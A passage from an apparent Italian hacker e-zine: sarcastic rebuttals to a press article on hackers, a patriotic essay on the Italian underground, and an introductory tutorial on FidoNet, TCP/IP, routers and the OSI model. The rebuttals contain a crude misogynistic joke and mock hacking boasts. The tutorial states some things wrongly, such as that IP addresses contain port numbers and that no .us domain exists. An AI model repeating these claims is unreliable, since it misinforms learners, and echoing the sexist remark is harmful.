messo quel "atto di pirateria". ] ... Donn Parker, esperto di sicurezza informatica, ritiene che i pirati "dilettanti" [ cioè quelli che ancora in mano hanno il coltelletto anzichè la pistola :D ] rappresentino comunque un pericolo serio perchè spesso non si rendono conto delle conseguenze. [ Se state parlando dei lamer sono daccordo. ] ... Parker cita il caso di un noto hacker americano [ cazzo ma non parlavamo di dilettanti fino a poco fa?? ] che, inconsapevolmente, era penetrato in un sistema usato per controllare automaticamente il cuore di alcuni pazienti cardiopatici, e che perciò avrebbe potuto metterne a rischio la stessa vita. [ Eeheheh io da Internet ho accesso a dei computer che mi permettono di spostare i quadri dalle pareti delle camere dei pazienti. Suvvia... su internet mettere una macchina così importante...magari ha come indirizzo IP 66.66.66.66 e poi cazzo son dakkordo che questo ruolo lo svolgano dei computer ma non penso proprio dei PC con Linux montato sù. ] ... Un pirata [ ancora ??? ] che si fa chiamare "Cowboy informatico" è riuscito nell'impresa di penetrare per ben 200 volte nei sistemi "top-secret" dei servizi segreti militari USA. [ ahahaahaha io ho una shell di root sul Pentagono. Cazzarola questi sistemi non dovevano poi essere così "top-secret"... eppoi 200 volte, e perchè non 201 o 199 ?? Cioè questo sistema è stato sfondato la prima volta e poi patchato e sfondato ancora e poi ripatchato ancora e così via, oppure gli amministratori di questo segreto "sistema top-secret" si sono accorti dell'intrusione grazie a 200 entry segnalate nei file di log del sistema? Beh se è la prima ipotesi mi domando: 200 buchi in un server top-secret??? AMMAZZA!! Se è la seconda ipotesi dico che questo pirata informatico non doveva essere così tanto sveglio da non cancellare i log...o forse non sapeva dove fossero messi. Quindi non venitemi a parlare di hacker, che quel server che aveva sfondato avrà avuto sicuramente il phf e quel pirata di cui state parlando avrà si e no 17 anni. Eppoi davvero svegli i SysAdmin eh?? Penso che sostituiranno i Carabinieri nelle storie delle barzellette. ] ... Di solito i danni provocati da queste bravate sono di poco conto. Si tratta di un vandalismo minore, ma è sufficiente a scalfire la fiducia della gente nell'ente titolare del sito e nella rete nel suo complesso [ un pò come fottersi una donna, una volta che la da a te, la da a tutti fino a quando la gente schifata non ci mette più mani sopra :)] ; in casi limite, poi, come abbiamo visto, può mettere in pericolo la vita di qualcuno. [ Beh certo ci credo... con quelle bombe intelligenti sganciate dai pirati mica c'è da scherzarci!! I problemi del Kosovo e dei paesi del terzo mondo son di ben meno poco conto al confronto. ] ... Il consiglio che danno gli esperti di Internet quando si percorrono le grandi autostrade informatiche, è di stare molto cauti: proprio come quando ci si avventura sulle strade di una città sconosciuta. [ Mamma mia....questa frase bloccherà sicuramente le intrusioni nei sistemi informatici per almeno un 50% netto. Cazzo dalla qualità dell'articolo devo dedurre che se viene un pinco pallino che vi dice di saper disabilitare i cookie del browser lo prendete per uno cool che in quanto a biscottini sa di che marca sceglierli :) ] Conclusioni: Ok avevo cominciato a scrivere questo articolo divertito, adesso sono turbato, disturbato, basito! Ma si possono sparare cotante cazzate?? E' difficile..molto difficile, questo non fa altro che riproporre la solita frase che quando si parla di Internet è come parlare di un fantasma: una manifestazione paranormale ed eterea dell'informazione. Oltre a questo traggo la conclusione che fino ad oggi mi ero fidato di ciò che veniva scritto su X-Factor riguardo certi articoli che parlavano di argomenti ancora per me inesplorati e da scoprire... ma adesso penso proprio che dovrò ricambiare la mia enciclopedia di informazioni da cui ho attinto per ben 89 numeri, senza avere l'ombra dell'idea che si potesse trattare di immani cazzate!! E sono imbestialito, perchè invece di leggermi 89 numeri (su 90) di "possibili boiate" avrebbero potuto inserire questo articolo nel numero 1 ed io avrei risparmiato la fatica di acquistare dal mio edicolante i famosi 89 numeri menzionati. Mah...vado a sfondare i super server segreti degli USA che mi sa che un 201esimo buco aperto lo trovo :D ____________________________________________________________________________ / Merlinus /| +===========================================================================+ | | | | | [ Italia, la nostra bella patria ] | | | ------------------------------ | / +===========================================================================+/ Italia Vs. resto del mondo ============================== Oggi mi sono svegliato con una vena di vero patriottismo. Si parla spesso male dell'Italia sotto tutti i punti di vista. Poco lavoro, troppa disoccupazione, poca apertura mentale verso mondi e cose nuove, troppa mafia. E' vero l'Italia, senza ombra di dubbio non rappresenta il paese dei balocchi; è vero, le grosse menti sono spesso costrette a "migrare" all'estero; è vero, siamo un popolo particolare. Tutti questi aspetti, insieme a tanti altri però danno all'Italia un impronta sui generis, unica al mondo e "l'italiano doc" non passa mai inosservato, ovunque vada e qualsiasi cosa faccia. Siamo un popolo strano, cerchiamo sempre di fregare (nel senso buono e a volte anche cattivo del termine)il prossimo, però questo fa parte della nostra cultura. Avete mai provato ad andare all'estero? Bene, quando sentono che siete italiani nella maggior parte dei casi si ha una sorta di venerazione e di timore mixati assieme. Non passiamo mai inosservati, nel bene e nel male facciamo sempre parlare di noi. Un austriaco, uno svizzero, un francese, un inglese....non hanno la stessa nostra immagine , non hanno lo stesso carisma, non hanno lo stesso ingegno... passano quasi inosservati. Mettete un italiano, in qualsisi ambiente di lavoro insieme ad altri "stranieri" e state sicuri che in brevissimo tempo avrà raggiunto i vertici di comando. Mettete un Italiano in una situazione mondana e vedrete che in brevissimo tempo sarà l'anima della festa e il primo animatore. Mettete un Italiano in qualcosa che gli piace e sarà sempre il primo...sempre. Per quanto piccola, l'Italia è conosciuta in tutto il mondo: l'impero romano è stato il più grande della storia dei tempi. Abbiamo un patromonio artistico che non ha paragone nel resto del mondo. La nostra cucina è senz'altro la migliore, conosciuta ovunque (chi non conosce la pizza, la pasta , caffè espresso, ecc). Come modo di vestire e come stilisti...be che dire... lo stile italiano si vede a 10 Km. Il fascino italiano...non ho parole...provate ad andare in Svezia, Danimarca, Olanda, Inghilterra, potreste disseminare prole ovunque....tanti piccoli italiani ehehehe. Le nostre donne....vere bombe esplosive! Insomma ragazzi...l'Italia è l'Italia. La mia riflessione inevitabilmente è caduta anche nel campo underground. Abbiamo sempre guardato l'America con una pizzico di invidia: lì è nato War Game, film ispiratore di tanti "hacker"; si dice sempre che in America i ragazzini di 13 anni buchino i sistemi come se fossero muri di cartone. Si dice invece, che in Italia i ragazzini di 13 giochino ancora con il BIG JIM. Non è così, basta guardarvi attorno per vedere lo sviluppo dei nostri connazionali anche in questo campo. Ormai riviste underground nascono tutti i giorni, ormai "hacker" che meritano questo nome ci sono anche in Italia e non hanno nulla da invidiare ai fratelli d'oltre oceano. Sono contento perchè è bello vedere che c'è tanto interesse, tanta passione, tanta voglia di insegnare ...questo è il vero spirito; questo è quello che aiuta una nazione a crescere, in tutti i campi. Gli esperti offrono subito le loro conoscenze agli altri, senza riserve, senza gelosia e senza invidia...questo è qualcosa di assolutamente unico e di speciale. Il mondo underground italiano è cresciuto tanto con tante riviste valide, tante crew, tanti siti web...con tanta voglia di divulgare e condividere esperienze, competenze, conoscenze, con tanta voglia di insegnare. Questo è l'hacking ragazzi: libertà di pensiero, libertà di divulgazione, libertà di insegnamento. Non c'è quella chiusura del mondo "normale" dove ognuno cerca di NON INSEGNARE, anzi di scoraggiare un suo possibile concorrente, dove c'è cattiveria ed invidia e dove c'è tanta paura nel tramadare le proprie esperienze...si dice sempre bisogna "rubare con gli occhi" perchè secondo voi? Perchè è molto difficle che qualcuno più esperto di voi vi trasmetta qualcosa e se lo fa, il prezzo da pagare è sempre troppo alto. Il vero hacking è "libertà" in tutte le sue forme: di insegnare senza compensi e di imparare senza "tangenti"; libertà di dar sfogo alla propria curiosità senza necessità di "rubare con gli occhi" e senza timore di essere soli. Ragazzi continuate così! Siate fieri di essere liberi, siate fieri di essere ITALIANI!!!!!!! _____ _____ _ _ __ _ _ ____ _ _ _____ | ___|| _ | | \ | | | \ /\ | \ / | | __| | \ | | |_ __| /\ | |_ | | | | | \| | | \ / \ | \/ | | |_ | \| | | | / \ | _| | | | | | | | | / \ | | | _| | | | | / \ | | | |_| | | |\ | | / / /\ \ | |\/| | | |__ | |\ | | | / /\ \ |_| |_____| |_| \_| |__/ /__/ \__\ |_| |_| |____| |_| \_| |_| /__/ \__\ _______________________________________________________________________________ |_______________________________________________________________________________| ____________________________________________________________________________ / Acido /| +===========================================================================+ | | | | | [ La rete, questa sconosciuta: II parte ] | | | -------------------------------------- | / +===========================================================================+/ Le altre reti ============= Accanto a Internet, ma in modo indipendente, si sono diffuse varie reti telematiche di tipo amatoriale, particolarmente interessanti per chi segue le iniziative politiche, sociali e di volontariato. La rete amatoriale per antonomasia è FidoNet, che conta più di 30.000 nodi sparsi in tutto il mondo. Vi sono anche altre reti realizzate con gli stessi criteri (generalmente chiamate FTN, Fidonet Technology Network), anche se limitate ad una sola nazione o ad un determinato scopo: ad esempio in Italia oltre a FidoNet ci sono Peacelink (dedicata al pacifismo e alle questioni sociali), RPGNet (dedicata ai giochi di ruolo), Cybernet (creata dal movimento "cyberpunk"), e così via. Le reti FTN sono generalmente strutturate ad albero, ossia ogni nodo ha un nodo "padre" (uplink) e dei nodi "figli" (downlink), fino ad arrivare ai nodi terminali. Ogni sistema che fa parte della rete effettua ad orari predefiniti delle chiamate notturne su linea telefonica commutata (in modo da diminuire al massimo i costi di trasferimento) al proprio uplink, e subito dopo si predispone per ricevere le chiamate dei propri downlink, che giungeranno anch'esse ad orari predefiniti. E’ ovvio che la spesa principale che ogni singolo responsabile di nodo (universalmente chiamato sysop) dovrà affrontare è quella della propria bolletta telefonica. In altri termini, se voi spedite un messaggio da una nodo Fidonet di Milano ad un utente che si trova a Roma, il costo del trasferimento del vostro messaggio verrà suddiviso tra tutti i nodi che si trovano nel "percorso" tra i due sistemi. Il lettore esperto avrà già notato che ci sono alcune affinità superficiali tra Internet e le reti in tecnologia FTN, ma la differenza è sostanziale: in FidoNet le comunicazioni avvengono tutte su linea commutata ed in modalità tipicamente "batch", ossia senza una connessione diretta e continua tra i sistemi; inoltre i sistemi FidoNet non sono gestiti da provider ma da appassionati senza fini di lucro. Un'altra differenza con Internet si può notare nell'instradamento dei messaggi: in FidoNet la topologia della rete è ad albero, come già detto, e per di più è fissa in quanto non sono previsti meccanismi automatici di instradamento alternativo in caso di indisponibilità di un nodo intermedio. FidoNet e Internet. ================== Questi limiti tecnologici (soprattutto se si fa un confronto con Internet) sono largamente compensati da semplicità ed economicità di gestione; questo ha reso FidoNet la tecnologia di elezione per la creazione di reti in molti paesi del Terzo Mondo; grazie ai punti di interconnessione tra FidoNet e Internet molte Università e istituzioni africane riescono a scambiare messaggi di posta elettronica con il mondo Internet anche se i Paesi in cui si trovano non sono connessi alla Rete. Primi rudimenti di TCP/IP ========================= In definitiva, attraverso un provider e il NSP a cui si rivolge, il nostro computer di casa o dell'ufficio può essere collegato a milioni di altri computer. Ma come fanno i messaggi a trovare la strada da un computer a un altro? Per creare un collegamento a Internet è necessario disporre sul proprio computer del software di rete TCP/IP. Con le passate versioni di Windows e Mac, si trattava di un programma da installare; in Windows 95 e Unix è incorporato. TCP/IP si basa su uno schema detto a commutazione di pacchetti. Questo significa che ogni file inviato su Internet, dai messaggi di posta elettronica al contenuto delle pagine Web, è suddiviso in parti più piccole chiamate pacchetti, seguendo le regole (cioè, il protocollo) IP. Ogni pacchetto è etichettato, includendo anche l'indirizzo numerico di destinazione, detto indirizzo IP; l'indirizzo IP è formato dall'host number (che individua la macchina a cui va mandato il pacchetto) e un numero aggiuntivo, il port number, che identifica il programma ricevente tra quelli in esecuzione su quella macchina. Gli host e port number IP ========================= Non c'è alternativa : se si effettua un collegamento a Internet (che sia in linea commutata o meno), si ha bisogno di un host number. Questo numero è come il numero della carta d'identità, e serve per identificare univocamente ogni computer connesso alla rete Internet. Infatti, anche con il collegamento in linea commutata, il computer dell'utente sarà registrato come un computer Internet a tutti gli effetti. Quindi dovrà avere un numero identificativo completo e autonomo, anche se tutte le comunicazioni con la rete passeranno dalla macchina dell'utente a quella del fornitore di servizi e viceversa. Per esempio, un host number italiano valido è 145.94.50.236. I singoli programmi in esecuzione su questa macchina saranno identificati da un altro numero, il port number, in modo che il computer sappia distinguere i pacchetti diretti a ciascuno di essi. I programmi che forniscono i servizi più noti hanno numeri di port standard, i cosiddetti well-known port. Su questo argomento torneremo brevemente nel prossimo tutorial. Se il collegamento è permanente, l’host number è attribuito una volta per tutte; altrimenti, il software TCP/IP otterrà questo numero dal computer del provider ogni volta che l'utente si collega con Internet, ricordandogli la propria esistenza. I computer speciali che collegano le varie parti della Rete e instradano i pacchetti nelle diverse zone sono chiamati router . Le connessioni tra i router possono essere pubbliche (ovvero, le linee telefoniche) o private, cioè collegamenti via cavo tra i computer di una stessa società o di un campus universitario. Del loro funzionamento ci occuperemo tra poco. I nomi di computer e di dominio =============================== Anche se per identificarsi tra loro usano i numeri, i computer connessi a Internet vengono individuati dagli utenti umani tramite nomi. Il nome di un singolo computer viene spesso chiamato il suo nome di computer. Chi ottiene un collegamento Internet gratuito non ha molta scelta sul nome di computer: se l'utente ha accesso tramite una società o un'Università, il nome del suo computer gli verrà semplicemente comunicato dal responsabile. Ma chi acquista l'accesso da un fornitore di servizi, e sceglie il collegamento permanente, ha la facoltà di scegliere il nome del proprio computer. In certi casi, invece di usare il nome di computer del computer del provider, potrà deciderne uno proprio. Il nome di computer non è equivalente all'host number, poiché non basta a identificare univocamente una macchina; per questo il sistema assegna a ogni calcolatore anche un dominio . Il nome di dominio serve per identificare un intero gruppo di computer collegati a Internet. I domini più grandi sono quelli corrispondenti a intere nazioni; il dominio italiano, ad esempio, si chiama it; quello tedesco de, mentre francesi e inglesi hanno rispettivamente i domini fr e uk. Ovviamente, un dominio grande può comprenderne altri più piccoli. L'insieme dei computer dell'Università di Milano, per esempio, sta nel sottodominio unimi di it . Ma questo sottodominio ha a sua volta dei sottodomini; uno di essi è chiamato crema perché comprende le macchine del Polo Didattico di Crema. Il nome completo di quest'ultimo sottodominio, in realtà, è crema.unimi.it perché occorre elencare, oltre a quello corrente, anche tutti i livelli superiori. Il computer usato per inviare questo corso ha nome weblab e dunque il suo nome completo è weblab.crema.unimi.it. E’ a questo nome completo che corrisponde univocamente un host number, cioè 159.149.70.70. Ogni volta che si digita un nome, viene interpellato un apposito programma, il Domain Name System , per eseguirne la traduzione in numero. Per quanto riguarda i nomi di dominio, gli Stati Uniti costituiscono un caso a parte, perché non esiste un dominio .us. La rete Internet negli Stati Uniti è tanto grande e complessa che sono stati definiti vari domini separati. Il più noto è edu: il gruppo nazionale delle istituzioni educative. La maggior parte delle Università e delle scuole americane fanno parte di questo dominio. Il dominio com comprende tutte le organizzazioni commerciali, mentre mil è quello delle installazioni militari (da solo, contiene centinaia di migliaia di computer). Detto questo, bisogna osservare che l'utente finale non deve quasi mai disporre di un proprio dominio. Questo è consigliabile solo alle grandi organizzazioni che vogliono connettere a Internet tutte le macchine della propria rete di calcolatori privata. Comunque, quando il fornitore assegna all'utente un nome di dominio, deve registrarlo presso l'InterNIC (Inter Network Information Center, Centro di Informazione Reti), o meglio presso l'Ente delegato a livello nazionale (in Italia, il GARR); un'operazione che richiede almeno una decina di giorni. Ciò assicura l'unicità del nome e la sua associazione ai numeri che identificano i computer usati dal richiedente. I router: il cuore della Rete =============================== I router sono macchine collegate a due o più reti, che hanno il compito di far passare i pacchetti da una rete all'altra in modo da avvicinarli alla loro destinazione (i pacchetti diretti a una macchina collegata alla stessa rete del mittente arrivano a destinazione senza bisogno dei router). Un tipico router può smistare 10.000 pacchetti al secondo; un router di alta qualità può avere una capacità teorica di 200.000 pacchetti al secondo. I router di Internet hanno un compito semplice: inoltrare i pacchetti che ricevono alla loro destinazione, passandoli da router a router. Per inoltrare i pacchetti fino all'ultima fermata si crea una catena di router, ognuno dei quali sa l'indirizzo del successivo sulla Rete grazie a tabelle costantemente aggiornate. Ogni riga di queste tabelle è una coppia (porzione di) indirizzo del destinatario - indirizzo del router di inoltro. Ad esempio la coppia 159.- 145.94.50.236 dice al router che la detiene che tutti i pacchetti il cui indirizzo comincia per 159 vanno mandati al collega router 145.94.50.236. Si noti che il router di inoltro deve trovarsi sulla stessa rete del mittente o su una delle reti a cui è collegato il router precedente, in modo che questi sappia raggiungerlo sulla base del suo indirizzo. Il router di inoltro poi provvederà a mandare i pacchetti al destinatario o a un altro router.... e così via. L’instradamento viene fatto pacchetto per pacchetto. Ricordiamo che quando si invia un messaggio di posta elettronica o una richiesta di connessione a un server Web, il messaggio viene diviso in pacchetti e trasmesso. In alcuni casi, i diversi pacchetti possono seguire percorsi differenti , perchè il computer d'inoltro nella tabella di un router può variare, ad esempio a seguito di cambiamenti del traffico; il messaggio viene ricomosto sulla macchina di destinazione. Sembra difficile? La normale rete telefonica funziona circa nello stesso modo, tenendo conto che le centrali telefoniche usano i numeri telefonici invece degli indirizzi di rete. Ad esempio, 0039 è il prefisso telefonico per l'Italia , 02 è quello per Milano e 824 individua la zona metropolitana di sud-ovest. C'è però una differenza: quando si digita un numero telefonico in quella zona, la rete telefonica crea all'inizio della chiamata un circuito tra gli apparecchi dei due interlocutori e la conversazione fluisce tra i due punti. Al contrario, la rete IP può inviare indipendentemente ciascun pacchetto. Quindi, almeno in linea di principio, un dato pacchetto potrebbe non seguire lo stesso percorso su Internet di quello prima o di quello dopo. In questo modo, se una linea cade o un collegamento è troppo occupato, i router cooperano per trovare un percorso alternativo per inviare i dati. Questo processo è trasparente agli utenti, a parte l'attesa che impone loro. Ogni router su Internet deve essere quindi in grado di aiutare a instradare i pacchetti a uno dei milioni di computer dotati di indirizzi IP. Anche se il router è un vero e proprio computer (e molto sofisticato!), non è possibile che le sue tabelle contengano le informazioni d'inoltro per i milioni di computer presenti su Internet. Tutto quello che fanno i router è capire se un pacchetto IP deve essere inviato all'interno di una delle reti a cui sono essi stessi collegati. Se così non è, indirizzano il pacchetto a un altro router che forse ne sa di più. Per eseguire quest'operazione, i router si scambiano regolarmente i dati via Internet; del loro funzionamento ci occuperemo in dettaglio nel prossimo tutorial. Se qualcosa va storto ===================== In definitiva, lo scopo dei router è capire il miglior percorso per inviare i pacchetti da un computer all’altro. Quando cambiano le condizioni, a causa di un malfunzionamento o di una congestione delle linee, i router della Rete modificano quasi istantaneamente le loro tabelle di inoltro. Questa capacità autonoma di autoapprendimento fa sì che sulla Rete in cui l'instradamento effettivo di singolo pacchetto non sia noto a priori. Questa adattabilità è una potenziale fonte di problemi. I router, infatti, si scambiano via Internet gli aggiornamenti per le loro tabelle, e ciò può dar luogo a un fenomeno chiamato flapping in cui una rete compare e scompare continuamente facendo sì che tutti i router del circondario si diano da fare per comunicarsi l'un l'altro che è scomparsa o riapparsa. Internet si difende da questo fenomeno attraverso un processo di "punizione" delle reti instabili diffondendo gli aggiornamenti alle tabelle d'instradamento tanto più lentamente quanto più la rete è instabile. I grandi provider possono anche rifiutarsi di collegarsi alle reti che causano dei problemi. I server ========== Tutte le informazioni su Internet hanno origine all'interno dei server, che sono dei computer come gli altri, collegati in permanenza alla rete; l’unica differenza è che su di essi girano particolari programmi (detti anch’essi server) che hanno il ruolo di fornire i dati a chi li richiede. Qualsiasi computer direttamente connesso a Internet può fornire informazioni, assumendo così i panni del server. Storicamente, i server erano principalmente macchine con il sistema operativo Unix (di marca DEC, Hewlett-Packard, IBM, Silicon Graphics, Sun e altri), ma ora sono sempre più usati i sistemi Macintosh e Windows NT. Esistono anche molti server Web che sfruttano il sistema operativo gratuito Linux, disponibile anche su personal computer economici. I siti Internet più grandi girano su macchine Unix per sfruttare il loro sistema operativo evoluto e i processori più potenti. Ad esempio il server Alta Vista, di cui parleremo nei prossimi capitoli, gestisce giornalmente milioni di collegamenti e gira su un computer parallelo con quattro CPU e molti gigabyte di RAM. I server eseguono del software specializzato per ogni tipo di applicazione Internet, tra quelle che vedremo in seguito, il World Wide Web, Gopher, i gruppi di discussione delle news di Usenet e la posta elettronica. Ogni organizzazione presente su Internet deve poi ospitare il DNS (Domain Name System) per la traduzione dei nomi simbolici in indirizzi di rete di cui abbiamo parlato in precedenza. Il DNS consente agli utenti di specificare i nomi, invece di usare gli indirizzi IP numerici. Dopo aver parlato di Internet in generale, in questa sezione approfondiamo il funzionamento delle reti. I protocolli ============= I protocolli sono la parte più astratta di Internet. Essi sono gli standard che definiscono il modo in cui i computer comunicano l'un l'altro. Sebbene i protocolli esistano solo sulla carta, e quindi possano sembrare piuttosto astratti (a differenza di un router o di un server, non si può toccare un protocollo), sono essenziali per Internet, poiché consentono a milioni di macchine nel mondo di comunicare e scambiare dati. Infatti, prodotti diversi di differenti venditori sono in grado di comunicare perché si conformano agli stessi standard. Uno degli aspetti più interessanti di Internet, infatti, è che la comunicazione tra i componenti è garantita dal protocollo e non dalla marca del computer o del sistema operativo che si sta usando. Come si è detto, il protocollo TCP/IP è lo standard di comunicazione che tutti i computer collegati a Internet devono usare. Oltre a TCP/IP, vi sono i protocolli applicativi come HTTP (Hypertext Transport Protocol) per il World Wide Web, NNTP (Network News Transport Protocol) per Usenet, SMTP (Simple Mail Transport Protocol) per la posta elettronica di cui parleremo nel seguito. Questi protocolli sono posti "sopra" TCP nel senso che definiscono come dev'essere fatto il contenuto dei pacchetti TCP a seconda della specifica applicazione. Tutti questi protocolli sono incorporati nel software del vostro computer, o meglio rispettati da chi lo scrive. Che si tratti di Netscape Navigator, di Microsoft Explorer o di Windows 95, chi ha scritto i programmi ha dovuto seguire le regole del protocollo in questione. Come funzionano le reti ======================= In questo paragrafo diamo qualche dettaglio su come colloquiano a distanza i calcolatori elettronici. A differenza del resto dell'articolo, queste informazioni non sono indispensabili per usare Internet a livello personale; ma chi si occupa della rete per conto di un’organizzazione, Ente o azienda che sia, farà bene a dare almeno una lettura ai paragrafi che seguono. Anche se l’analogia con il telefono fatta nel tutorial precedente ha chiarito un po’ le idee, infatti, non bisogna portare troppo avanti il paragone: la trasmissione dei dati su una rete di calcolatori presenta alcune importanti differenze rispetto a un’usuale comunicazione telefonica. Quando si inizia una conversazione telefonica, le apparecchiature di gestione della rete si incaricano di realizzare un collegamento elettrico "ad hoc" tra trasmittente e ricevente tramite un'opportuna commutazione elettromeccanica degli interruttori delle centrali di smistamento. Una volta, come si vede nei vecchi film di Hollywood, questa funzione era svolta da operatori umani che realizzavano manualmente la commutazione inserendo uno spinotto nella sede opportuna. In seguito, per questo scopo vennero realizzati commutatori elettromeccanici e, più recentemente, commutatori elettronici. Comunque, il colloquio telefonico è basato sull'esistenza di un cammino che collega elettricamente trasmittente e ricevente. Tale cammino elettrico viene realizzato per ogni singola chiamata telefonica e cessa di esistere al termine della conversazione. Questo metodo di collegamento, chiamato commutazione di circuito (circuit switching), è caratterizzato dall'elevato tempo di attesa che risulta necessario per la realizzazione della connessione, una caratteristica che lo rende poco adatto alle reti di calcolatori. D'altro canto, una volta che la connessione è stabilita, la comunicazione può aver luogo alla massima velocità di trasmissione consentita dalla linea, senza problemi di traffico. La tecnica più largamente usata nelle reti di trasmissione dati come Internet è invece è quella detta a commutazione di pacchetto (packet switching) . In questo caso, come si è detto, il messaggio viene diviso in blocchi (i pacchetti) di dimensioni prefissate che costituiscono l'unità di trasmissione. Con questo metodo, nessun messaggio può monopolizzare la linea di comunicazione poiché è possibile intervallare pacchetti appartenenti a messaggi diversi, ottimizzando così l'utilizzo della linea. Inoltre i pacchetti possono venire facilmente elaborati nelle stazioni intermedie per consentire le conversioni di codice che si rendono talvolta necessarie nelle reti di calcolatori. E' per questo motivo che si parla di cammino virtuale tra trasmittente e ricevente, anche se i singoli pacchetti possono seguire percorsi fisicamente diversi. Nel caso si debba realizzare una normale conversazione telefonica utilizzando la commutazione a pacchetto, come accade nel "telefono via Internet" o Internet Phone, ci si trova di fronte al problema di realizzare la trasmissione dei pacchetti rispettando l'ordine di invio e di garantire il loro recapito entro un tempo prefissato ai fini di consentire l'interattività trasmittente-ricevente necessaria per questo tipo di comunicazione. Purtroppo, come abbiamo visto in precedenza, il tempo di recapito dei pacchetti è in genere influenzato dalle condizioni di carico della rete, e quindi le reti a pacchetto sono cattivi vettori per il traffico telefonico. La seconda tecnica in uso nelle connessioni tra calcolatori, è la commutazione di messaggio (message switching). Questa tecnica, chiamata anche store and forward , non prevede che il trasmittente sia connesso direttamente al ricevente, ma piuttosto che si limiti ad affidare il messaggio al più vicino centro di smistamento. Questo lo affiderà ad un altro e così via fino a che l'ultimo non lo consegnerà al destinatario. Si noti che la necessità di molteplici memorizzazioni intermedie dell'intero messaggio pone dei seri problemi alla realizzazione pratica di questo tipo di rete. In pratica questa tecnica è oggi d'attualità soprattutto per la realizzazione dei sistemi di posta elettronica su scala internazionale ed intercontinentale. Queste rapide considerazioni dovrebbero già aver reso l’idea che i protocolli di trasmissione sono molti e di tipi diversi. Infatti esistono protocolli che stabiliscono caratteristiche fisiche della trasmissione a livello di segnali elettrici, altri che riguardano la struttura dei pacchetti, altri ancora che definiscono proprietà di "alto livello" del messaggio come il modo di specificare il destinatario ed il mittente. Per fortuna, nella pratica è possibile definire il protocollo di un dato livello in modo pressocché indipendente da come sono realizzati i livelli sottostanti. Grazie a questa indipendenza, lo stesso protocollo che definisce la struttura dei pacchetti può appoggiarsi su protocolli fisici diversi orientati ai diversi mezzi di trasmissione esistenti come il cavo coassiale, il doppino telefonico o i cavi in fibra ottica. La struttura a livelli dei protocolli di trasmissione è descritta in dettaglio nell’approfondimento seguente. **Approfondimento tecnico** Il modello ISO-OSI ================== L'ISO, l'organismo internazionale (International Standards Organization) incaricato della standardizzazione in campo informatico, ha messo a punto un modello standard largamente accettato che viene chiamato OSI (Open System Interconnection) e definisce sette strati di protocolli. Per meglio capire la natura di un protocollo multistrato, facciamo l'esempio dell'usuale servizio postale. Supponiamo che un uomo d'affari italiano voglia inviare una missiva ad un collega cinese. Dopo aver scritto il messaggio in italiano, lo passerà all'ufficio esteri della sua azienda. Dopo un certo tempo il nostro uomo d'affari troverà sulla sua scrivania un foglio con la risposta in italiano. E' chiaro che per la realizzazione di questa comunicazione apparentemente diretta sono stati necessari diversi interventi. In primo luogo la lettera è stata tradotta in inglese; poi il traduttore ha passato la lettera tradotta a una segretaria che provvede alla spedizione. Tramite gli enti postali interessati, la lettera raggiunge poi l'azienda cinese, dove percorre una analoga trafila a ritroso, passando inizialmente per le mani di una segretaria, poi in quelle di un traduttore dall'inglese al cinese per giungere infine al destinatario. La risposta dell'uomo d'affari cinese seguirà poi lo stesso percorso per raggiungere l'azienda italiana. E' però importante sottolineare alcune caratteristiche che rendono il nostro esempio effettivamente analogo a un protocollo multilivello. Innanzitutto, si noti che i due corrispondenti possono tranquillamente ignorare quale lingua verrà utilizzata dai traduttori. Questi a loro volta non sono interessati a sapere se la missiva verrà inviata per posta o tramite un corriere. La stessa segretaria che provvede all'invio non è poi tenuta a sapere se il trasporto del plico dall'Italia al Giappone avverrà lungo la rotta polare o lungo quella diretta. In altre parole, le caratteristiche di un livello del protocollo possono cambiare, almeno in linea di principio, all'insaputa degli altri livelli. Inoltre, mentre allo strato più basso viene realizzata una comunicazione fisica (il viaggio della lettera) ad ognuno dei livelli superiori esiste una comunicazione apparentemente diretta, ma in realtà basata sui livelli sottostanti. Questo tipo di comunicazione è chiamata connessione logica. La specifica ISO per la connessione tra sistemi aperti definisce ben sette di questi strati, di cui il primo è fisico e gli altri realizzano sei connessioni logiche. Si osservi che l'ISO non ha affatto definito i contenuti dei protocolli per ogni livello (la cui standardizzazione è compito di altri enti ), ma ha stabilito quali sono le grandezze che, per ogni strato, uno standard di comunicazione deve fissare. Vediamone una rassegna cominciando dal livello più alto. I sette livelli ISO/OSI. ======================== Lo strato di applicazione (application layer) è completamente definito dall'utente finale, poichè è composto dai programmi che hanno l'esigenza di accedere alla rete, ad esempio per trasferire un file o un messaggio di posta elettronica da una macchina all’altra. Di questi programmi parleremo in dettaglio nei prossimi paragrafi; osservate però che anche a questo livello si può parlare di standard. Ad esempio, una specifica categoria di programmi utente può stabilire le regole da rispettare per effettuare la comunicazione; si pensi alle applicazioni usate in ambiente finanziario, che accedono alla rete per sapere quotazioni e dati delle Borse mondiali; questi programmi avranno una fase iniziale standard per farsi riconoscere e accreditare dai computer del centro finanziario a cui si rivolgono. Abbiamo poi lo strato di presentazione (presentation layer) che (come i traduttori del nostro esempio) si occupa della conversione tra i diversi codici per la rappresentazione dei caratteri, ma specialmente di tutte le funzioni di formattazione dei testi e di gestione dei terminali. Lo strato di sessione (session layer) si occupa di identificare l'utente del programma che desidera accedere alla rete, per essere sicuri che ne abbia l’autorità. Lo strato di trasporto (transport layer) è quello divide il messaggio che proviene dallo strato superiore (il file, o il messaggio di posta elettronica) in porzioni più piccole da trasmettere separatamente (i pacchetti di cui abbiamo parlato in precedenza). A differenza di quanto avviene negli strati superiori, il software dello strato di trasporto può gestire contemporaneamente più messaggi provenienti da sessioni diverse in corso sullo stesso computer. Sarà quindi sua cura trasferire nei singoli pacchetti le informazioni relative alla sessione cui i pacchetti appartengono e il loro numero d'ordine all'interno della propria sessione. Questo numero consentirà allo strato di trasporto del computer destinatario di ricostruire correttamente i messaggi a prescindere dall'ordine d'arrivo dei pacchetti. L'insieme dei tre restanti strati viene spesso chiamato subnet ed è realizzato in parte sotto forma di software, in parte di hardware. Vediamo gli strati OSI da cui sono costituite le subnet. Lo strato di rete (network layer) gestisce l'instradamento dei pacchetti creati da quello di trasporto e assicura la correttezza della comunicazione richiedendo la ritrasmissione dei pacchetti eventualmente danneggiati. Lo strato di data link include i pacchetti in strutture più lunghi dette frame. I frame comprendono numerosi campi per le informazioni di controllo. Inoltre, il messaggio viene completato con nuovi frame (frame di acknowledgment) che contengono solo informazioni di servizio, ad esempio per la conferma della avvenuta ricezione degli altri frame. Infine lo strato fisico (physical layer) definisce un insieme di regole relative all'hardware di comunicazione come ad esempio le tensioni e le correnti usate, le regole per stabilire il primo contatto (handshaking) e la direzionalità della comunicazione. E' anche importante dare un'idea di come, nella maggior parte dei casi, le funzioni hardware e software sono ripartite tra i livelli ISO/OSI. In modo del tutto informale, possiamo dire che i due 